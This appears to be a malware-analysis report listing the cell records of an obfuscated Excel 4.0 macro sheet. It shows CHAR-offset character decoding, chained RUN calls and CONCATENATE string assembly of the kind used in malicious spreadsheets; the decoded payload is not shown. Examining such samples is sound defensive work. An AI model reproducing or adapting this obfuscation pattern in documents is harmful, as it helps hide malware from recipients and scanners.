'  LHvQHxL,FQ1479,CHAR(JB1417-664),""
'  LHvQHxL,HI1479,"",59.00000000000000000000
'  LHvQHxL,GO1496,"",37.00000000000000000000
'  LHvQHxL,CP1498,CHAR(Z1767-923),""
'  LHvQHxL,ET1501,"",1015.00000000000000000000
'  LHvQHxL,BE1503,CHAR(HJ1901-923),""
'  LHvQHxL,B1504,"",32.00000000000000000000
'  LHvQHxL,IA1509,RUN(GE954),""
'  LHvQHxL,E1512,"",62.00000000000000000000
'  LHvQHxL,A1513,"",32.00000000000000000000
'  LHvQHxL,GW1517,"",96.00000000000000000000
'  LHvQHxL,R1520,"",95.00000000000000000000
'  LHvQHxL,IH1522,"",58.00000000000000000000
'  LHvQHxL,DQ1526,"",1037.00000000000000000000
'  LHvQHxL,HP1529,"",373.00000000000000000000
'  LHvQHxL,HE1530,"",51.00000000000000000000
'  LHvQHxL,DQ1533,CHAR(FU1832-265),""
'  LHvQHxL,DQ1534,RUN(H1446),""
'  LHvQHxL,EK1537,RUN(JF1719),""
'  LHvQHxL,A1545,"",46.00000000000000000000
'  LHvQHxL,DT1546,RUN(FT925),""
'  LHvQHxL,X1547,RUN(FJ1561),""
'  LHvQHxL,DG1551,CHAR(GS1567-664),""
'  LHvQHxL,BH1554,CONCATENATE(HZ1737),""
'  LHvQHxL,FJ1561,RUN(HE776),""
'  LHvQHxL,FJ1565,"",94.00000000000000000000
'  LHvQHxL,BM1567,RUN(IB49),""
'  LHvQHxL,GS1567,"",781.00000000000000000000
'  LHvQHxL,BA1572,RUN(BD1734),""
'  LHvQHxL,V1573,RUN(FS382),""
'  LHvQHxL,FL1577,CHAR(GG152-265),""
'  LHvQHxL,FU1577,"",91.00000000000000000000
'  LHvQHxL,FL1578,RUN(EE537),""
'  LHvQHxL,GK1579,"",66.00000000000000000000
'  LHvQHxL,DL1596,"",381.00000000000000000000
'  LHvQHxL,T1604,"",314.00000000000000000000
'  LHvQHxL,JI1604,"",49.00000000000000000000
'  LHvQHxL,CA1606,"",5.00000000000000000000
'  LHvQHxL,DW1607,RUN(IQ669),""
'  LHvQHxL,BO1614,"",765.00000000000000000000
'  LHvQHxL,HS1614,CHAR(ED1879-664),""
'  LHvQHxL,DU1617,CHAR(FM544-265),""
'  LHvQHxL,DU1618,RUN(CD1639),""
'  LHvQHxL,BB1626,"",58.00000000000000000000
'  LHvQHxL,CI1629,"",66.00000000000000000000
'  LHvQHxL,FI1633,"",53.00000000000000000000
'  LHvQHxL,EJ1636,RUN(EQ1822),""
'  LHvQHxL,CD1639,CHAR(DG963-265),""
'  LHvQHxL,CD1640,RUN(GU1154),""
'  LHvQHxL,BK1641,"",15.00000000000000000000
'  LHvQHxL,CP1643,CHAR(C1866-823),""
'  LHvQHxL,FA1645,"",747.00000000000000000000
'  LHvQHxL,FM1646,"",729.00000000000000000000
'  LHvQHxL,FL1649,"",34.00000000000000000000
'  LHvQHxL,HN1649,CHAR(HY1902-265),""
'  LHvQHxL,HN1650,RUN(CI744),""
'  LHvQHxL,FK1653,CHAR(GF420-923),""
'  LHvQHxL,CG1656,"",10.00000000000000000000
'  LHvQHxL,CY1658,"",364.00000000000000000000
'  LHvQHxL,GW1661,RUN(V1573),""
'  LHvQHxL,BT1666,CHAR(BH1397-664),""
'  LHvQHxL,FF1666,CHAR(GH724-923),""
'  LHvQHxL,EC1668,"",67.00000000000000000000
'  LHvQHxL,BB1670,RUN(GR1368),""
'  LHvQHxL,GF1671,"",95.00000000000000000000
'  LHvQHxL,GJ1680,RUN(ID1234),""
'  LHvQHxL,FR1693,CHAR(II14-664),""
'  LHvQHxL,FB1699,"",49.00000000000000000000
'  LHvQHxL,IQ1699,RUN(BA1572),""
'  LHvQHxL,GU1700,CHAR(GF871-265),""
'  LHvQHxL,GU1701,RUN(EZ1380),""
'  LHvQHxL,BE1702,RUN(FL858),""
'  LHvQHxL,IS1704,"",45.00000000000000000000
'  LHvQHxL,BA1705,CHAR(IR289-923),""
'  LHvQHxL,CK1708,"",46.00000000000000000000
'  LHvQHxL,BM1716,"",12.00000000000000000000
'  LHvQHxL,IC1717,CHAR(Y839-664),""
'  LHvQHxL,CQ1718,"",93.00000000000000000000
'  LHvQHxL,JF1719,RUN(BF1957),""
'  LHvQHxL,IO1723,"",61.00000000000000000000
'  LHvQHxL,IN1729,"",317.00000000000000000000
'  LHvQHxL,BD1734,RUN(EK1537),""
'  LHvQHxL,GD1734,"",48.00000000000000000000
'  LHvQHxL,HZ1737,"CONCATENATE(BJ1801,EG674,JE916,CD293,I994,CP1643,GV592)",""
'  LHvQHxL,EU1738,"",901.00000000000000000000
'  LHvQHxL,GZ1739,"",319.00000000000000000000
'  LHvQHxL,HN1739,"",927.00000000000000000000
'  LHvQHxL,GH1745,"",1015.00000000000000000000
'  LHvQHxL,EE1747,"",25.00000000000000000000
'  LHvQHxL,GR1749,RUN(HA58),""
'  LHvQHxL,GY1751,"",50.00000000000000000000
'  LHvQHxL,L1753,CHAR(EU1738-823),""
'  LHvQHxL,IL1753,"",990.00000000000000000000
'  LHvQHxL,EE1757,RUN(BT1365),""
'  LHvQHxL,HA1759,"",772.00000000000000000000
'  LHvQHxL,CO1765,"",29.00000000000000000000
'  LHvQHxL,IA1766,"",14.00000000000000000000
'  LHvQHxL,Z1767,"",1012.00000000000000000000
'  LHvQHxL,GL1768,"",42.00000000000000000000
'  LHvQHxL,GT1785,RUN(JD551),""
'  LHvQHxL,HK1785,RUN(CE1452),""
'  LHvQHxL,IX1789,"",34.00000000000000000000
'  LHvQHxL,EC1790,"",18.00000000000000000000
'  LHvQHxL,FZ1798,"",924.00000000000000000000
'  LHvQHxL,G1801,"",61.00000000000000000000
'  LHvQHxL,BJ1801,CHAR(P1284-823),""
'  LHvQHxL,DC1802,"",1004.00000000000000000000
'  LHvQHxL,BA1803,CHAR(HW532-664),""
'  LHvQHxL,EF1806,RUN(DS772),""
'  LHvQHxL,HP1810,CHAR(DB117-664),""
'  LHvQHxL,FJ1815,"",39.00000000000000000000
'  LHvQHxL,Q1817,"",52.00000000000000000000
'  LHvQHxL,BF1818,"",68.00000000000000000000
'  LHvQHxL,CO1818,"",58.00000000000000000000
'  LHvQHxL,EQ1822,RUN(BP451),""
'  LHvQHxL,JH1823,"",19.00000000000000000000
'  LHvQHxL,JA1828,"",34.00000000000000000000
'  LHvQHxL,FU1832,"",381.00000000000000000000
'  LHvQHxL,GF1832,"",75.00000000000000000000
'  LHvQHxL,T1833,"",59.00000000000000000000
'  LHvQHxL,IY1835,RUN(HK1785),""
'  LHvQHxL,EP1840,"",312.00000000000000000000
'  LHvQHxL,CD1845,"",50.00000000000000000000
'  LHvQHxL,HS1845,RUN(FE487),""
'  LHvQHxL,EM1846,"",91.00000000000000000000
'  LHvQHxL,FQ1846,RUN(CA260),""
'  LHvQHxL,T1848,RUN(DM387),""
'  LHvQHxL,GZ1849,"",70.00000000000000000000
'  LHvQHxL,D1860,"",66.00000000000000000000
'  LHvQHxL,DK1861,CHAR(DQ1526-923),""
'  LHvQHxL,GQ1861,"",386.00000000000000000000
'  LHvQHxL,JF1861,"",86.00000000000000000000
'  LHvQHxL,BC1863,CHAR(EP1840-265),""
'  LHvQHxL,EM1863,"",902.00000000000000000000
'  LHvQHxL,BC1864,RUN(DU1617),""
'  LHvQHxL,EX1864,"",52.00000000000000000000
'  LHvQHxL,C1866,"",874.00000000000000000000
'  LHvQHxL,BG1866,"CONCATENATE(FW92,FK1653,DX984,BA186,JC978,DK1024,BA1705,GL560,FH1192,DK1861,CB1299,FY8,FF1244,JF948,CP1498,FF568,EB259,ER1225,DF504,FF1666,A1350,FD564,BE1503,EU110,FX1952,GG1098,BR796,HZ579,BZ1220)",""
'  LHvQHxL,GT1866,"",95.00000000000000000000
'  LHvQHxL,F1868,"",53.00000000000000000000
'  LHvQHxL,GK1877,"",87.00000000000000000000
'  LHvQHxL,ED1879,"",775.00000000000000000000
'  LHvQHxL,GM1882,"",16.00000000000000000000
'  LHvQHxL,GL1885,"",4.00000000000000000000
'  LHvQHxL,JB1887,CHAR(IZ1056-923),""
'  LHvQHxL,DS1889,RUN(FV512),""
'  LHvQHxL,JL1889,"",780.00000000000000000000
'  LHvQHxL,EN1893,"",2.00000000000000000000
'  LHvQHxL,HJ1901,"",1027.00000000000000000000
'  LHvQHxL,HY1902,"",377.00000000000000000000
'  LHvQHxL,IY1904,"",90.00000000000000000000
'  LHvQHxL,BL1910,"",58.00000000000000000000
'  LHvQHxL,HM1916,"",73.00000000000000000000
'  LHvQHxL,GA1924,"",775.00000000000000000000
'  LHvQHxL,B1925,CHAR(IN1729-265),""
'  LHvQHxL,B1926,RUN(DB934),""
'  LHvQHxL,IV1932,"",73.00000000000000000000
'  LHvQHxL,HR1933,"",732.00000000000000000000
'  LHvQHxL,IO1933,"",69.00000000000000000000
'  LHvQHxL,EY1935,CHAR(IK258-664),""
'  LHvQHxL,CO1938,"",365.00000000000000000000
'  LHvQHxL,GB1940,"",35.00000000000000000000
'  LHvQHxL,FA1942,"",59.00000000000000000000
'  LHvQHxL,GN1946,"",63.00000000000000000000
'  LHvQHxL,EX1951,RUN(IA1509),""
'  LHvQHxL,FX1952,CHAR(CN972-923),""
'  LHvQHxL,BF1957,RUN(BE1702),""
'  LHvQHxL,BQ1963,RUN(Q766),""
'  LHvQHxL,IG1964,"",94.00000000000000000000
'  LHvQHxL,GY1965,"",84.00000000000000000000
'  LHvQHxL,ES1968,"",1030.00000000000000000000
'  LHvQHxL,BH1970,CHAR(CM841-823),""
'  LHvQHxL,DK1970,"",59.00000000000000000000
'  LHvQHxL,HJ1971,"",12.00000000000000000000
'  LHvQHxL,CB1979,RUN(HY1069),""
'  LHvQHxL,BU1981,"",18.00000000000000000000
'  LHvQHxL,DH1985,CHAR(V1196-664),""
'  LHvQHxL,CA1986,"",765.00000000000000000000
'  LHvQHxL,DR1993,"",65.00000000000000000000

Open this report in the interactive analyzer, or submit your own file for analysis.